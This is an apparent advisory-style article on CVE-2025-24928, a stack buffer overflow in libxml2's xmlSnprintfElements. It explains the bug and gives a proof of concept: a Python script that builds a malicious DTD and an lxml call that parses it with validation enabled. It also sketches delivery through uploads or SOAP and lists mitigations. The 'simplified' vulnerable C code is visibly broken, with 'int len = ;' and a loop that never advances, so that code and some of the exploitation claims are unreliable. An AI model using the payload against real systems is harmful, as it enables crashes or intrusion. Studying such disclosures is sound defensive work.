CVE-2025-24928 - Stack Buffer Overflow in libxml2’s xmlSnprintfElements Explained (Pre-2.12.10 & 2.13.6) with Exploit Details

A high-severity vulnerability was discovered in the popular XML parsing library libxml2. Tracked as CVE-2025-24928, this flaw could let attackers run code on your system if you process untrusted XML data with DTD validation enabled. The issue lives in xmlSnprintfElements inside valid.c and impacts libxml2 versions before 2.12.10 and 2.13.x before 2.13.6.

In this deep dive, we'll break down what went wrong, walk through how someone might exploit it, and share code snippets so you really get how simple this bug can be to abuse.

What is libxml2?

libxml2 is an open source XML parsing library used in countless projects and programming languages—Python, Ruby, PHP, and even browsers. It supports things like DTD (Document Type Definition) validation, making sure your XML data is “well-formed” and matches expected structures.

The vulnerability is a stack-based buffer overflow found in this function

int xmlSnprintfElements(char *buf, int size, const xmlElementContent *content)

This function creates a string description of XML element content models—for example, parsing DTDs found in, or referenced from, XML files. If the description gets too long, but the code doesn’t check properly, it can overflow the buffer on the stack. That means attacker-controlled data could overwrite important stack data, including return addresses—classic territory for exploits.

To be at risk:

DTD validation is ENABLED.

Not at risk (not vulnerable):

You have libxml2 >= 2.12.10 or >= 2.13.6.

Note: This is similar to CVE-2017-9047, but with different trigger mechanics.

PoC (Proof-of-Concept) Exploit

Let’s look at a minimal example that could crash, or worse, on a vulnerable system.

Danger!: Never test this on a critical machine or server.

Step 1: The Malicious XML

You can write an XML file with a DTD that creates long, complex sequences—e.g., recursive content models—intended to overflow the buffer.

<!DOCTYPE root [
<!ELEMENT root ((A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z)*)>
<!ELEMENT A EMPTY>
<!ELEMENT B EMPTY>
...
<!ELEMENT Z EMPTY>
]>
<root></root>

But an even shorter exploit often abuses *deep* recursion or a ton of alternates inside parenthesis. Here’s an idea in Python:

# Save as evil.xml
with open("evil.xml", "w") as f:
    f.write('<!DOCTYPE root [\n')
    f.write('<!ELEMENT root (')
    f.write('|'.join(['A'] * 400))  # 400 alternates trigger overflow (value may vary)
    f.write(')>\n')
    for letter in ['A']:
        f.write(f'<!ELEMENT {letter} EMPTY>\n')
    f.write(']>\n')
    f.write('<root></root>\n')

Step 2: Trigger with Python + lxml or xml.etree

import lxml.etree

try:
    parser = lxml.etree.XMLParser(dtd_validation=True)
    tree = lxml.etree.parse("evil.xml", parser)
except Exception as e:
    print("Error:", e)

On systems with the vulnerable libxml2, this will often crash the interpreter (SIGSEGV) or, with heap spraying and further ROP effort, can be a path to exploitation.

Under the Hood: Why Does This Overflow?

The bug is in xmlSnprintfElements() (see valid.c in libxml2 source).

Here’s a simplified version of the problematic code

int xmlSnprintfElements(char *buf, int size, const xmlElementContent *content) {
    int len = ;
    // ... some code
    while (content != NULL) {
        len += snprintf(buf + len, size - len, "%s", content->name);
        // not enough bounds checking!
    }
    // ...
    return len;
}

If content is deeply nested or super long, snprintf() will return a length that doesn’t get capped, and buf + len will point outside the buffer—smashing the stack. If the attacker controls what gets written, they could also place ROP gadgets or similar payloads.

Exploitation & Real-World Dangers

An attacker only needs to get a target to parse an evil XML/DTD with validation on.

This can be as simple as

* Sending an XML file to a web app using libxml2 to parse uploads.
* Sending a DTD reference in a SOAP XML payload to a vulnerable backend.
* Triggering the bug via APIs in languages that use libxml2 under the hood (Python, Ruby, PHP).

If stack protection (like canaries, ASLR, DEP) is weak, this moves from a simple crash to code execution.

Mitigation

* Turn off DTD validation unless it’s really necessary.
* Sanitize all untrusted XML—don’t let users upload or pass in raw XML unless you absolutely must.
* Patch immediately! Latest libxml2 releases here.

References

- libxml2 Official Site
- CVE-2025-24928 - NVD entry *(pending)*
- GNOME/libxml2 GitLab
- Similar issue: CVE-2017-9047
- lxml and DTD validation

Summary

CVE-2025-24928 is a classic example of how old code, when exposed to unexpected data sizes/structures, can still burn you, even in 2025.
Make sure to patch, disable DTD validation unless needed, and always treat external XML or DTD files as dangerous!

If you think a dependency or application you use does untrusted XML with DTD validation and doesn’t update quickly, consider contacting the maintainers directly.

Timeline

Published on: 02/18/2025 23:15:10 UTC